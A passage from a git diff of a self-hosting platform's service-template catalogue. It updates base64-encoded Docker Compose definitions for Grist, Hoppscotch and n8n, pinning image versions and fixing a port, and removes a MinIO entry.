R0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", "tags": [ "lowcode", "nocode", @@ -1904,7 +1902,7 @@ "category": "productivity", "logo": "svgs/grist.svg", "minversion": "0.0.0", - "port": "443" + "port": "8484" }, "grocy": { "documentation": "https://github.com/grocy/grocy?utm_source=coolify.io", @@ -2032,7 +2030,7 @@ "hoppscotch": { "documentation": "https://docs.hoppscotch.io?utm_source=coolify.io", "slogan": "The Open Source API Development Platform", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0hPUFBTQ09UQ0hfODAKICAgICAgLSAnVklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTPSR7VklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTOi1HT09HTEUsR0lUSFVCLE1JQ1JPU09GVCxFTUFJTH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREJ9JwogICAgICAtICdEQVRBX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfREFUQUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdXSElURUxJU1RFRF9PUklHSU5TPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZCwke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9LCR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M9JHtNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTOi10cnVlfScKICAgICAgLSAnVklURV9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX1NIT1JUQ09ERV9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX0FETUlOX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdWSVRFX0JBQ0tFTkRfR1FMX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX1dTX1VSTD13c3M6Ly8ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL2dyYXBocWwnCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9BUElfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZC92MScKICAgICAgLSAnVklURV9BUFBfVE9TX0xJTks9aHR0cHM6Ly9kb2NzLmhvcHBzY290Y2guaW8vc3VwcG9ydC90ZXJtcycKICAgICAgLSAnVklURV9BUFBfUFJJVkFDWV9QT0xJQ1lfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3ByaXZhY3knCiAgICAgIC0gRU5BQkxFX1NVQlBBVEhfQkFTRURfQUNDRVNTPXRydWUKICAgIGRlcGVuZHNfb246CiAgICAgIGRiLW1pZ3JhdGlvbjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfY29tcGxldGVkX3N1Y2Nlc3NmdWxseQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBob3Bwc2NvdGNoLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotaG9wcHNjb3RjaH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGRiLW1pZ3JhdGlvbjoKICAgIGV4Y2x1ZGVfZnJvbV9oYzogdHJ1ZQogICAgaW1hZ2U6ICdob3Bwc2NvdGNoL2hvcHBzY290Y2g6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSE9QUFNDT1RDSF84MAogICAgICAtICdWSVRFX0FMTE9XRURfQVVUSF9QUk9WSURFUlM9JHtWSVRFX0FMTE9XRURfQVVUSF9QUk9WSURFUlM6LUdPT0dMRSxHSVRIVUIsTUlDUk9TT0ZULEVNQUlMfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBob3Bwc2NvdGNoLWRiOjU0MzIvJHtQT1NUR1JFU19EQn0nCiAgICAgIC0gJ0RBVEFfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF9EQVRBRU5DUllQVElPTktFWX0nCiAgICAgIC0gJ1dISVRFTElTVEVEX09SSUdJTlM9JHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9iYWNrZW5kLCR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0sJHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9hZG1pbicKICAgICAgLSAnTUFJTEVSX1VTRV9DVVNUT01fQ09ORklHUz0ke01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M6LXRydWV9JwogICAgICAtICdWSVRFX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfU0hPUlRDT0RFX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfQURNSU5fVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9HUUxfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfV1NfVVJMPXdzczovLyR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX0FQSV9VUkw9JHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9iYWNrZW5kL3YxJwogICAgICAtICdWSVRFX0FQUF9UT1NfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3Rlcm1zJwogICAgICAtICdWSVRFX0FQUF9QUklWQUNZX1BPTElDWV9MSU5LPWh0dHBzOi8vZG9jcy5ob3Bwc2NvdGNoLmlvL3N1cHBvcnQvcHJpdmFjeScKICAgICAgLSBFTkFCTEVfU1VCUEFUSF9CQVNFRF9BQ0NFU1M9dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgZGItbWlncmF0aW9uOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9jb21wbGV0ZWRfc3VjY2Vzc2Z1bGx5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIGhvcHBzY290Y2gtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBkYi1taWdyYXRpb246CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", "tags": [ "api", "development", @@ -2832,21 +2830,6 @@ "minversion": "0.0.0", "port": "8080" }, - "minio-community-edition": { - "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io", - "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.", - "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "object", - "storage", - "server", - "s3", - "api" - ], - "category": "storage", - "logo": "svgs/minio.svg", - "minversion": "0.0.0" - }, "mixpost": { "documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io", "slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.", @@ -2901,7 +2884,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ044Tl9QUk9UT0NPTD0ke044Tl9QUk9UT0NPTDotaHR0cHN9JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gT0ZGTE9BRF9NQU5VQUxfRVhFQ1VUSU9OU19UT19XT1JLRVJTPXRydWUKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgbjhuLXdvcmtlcjoKICAgIGltYWdlOiAnbjhuaW8vbjhuOjIuMS41JwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEuNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0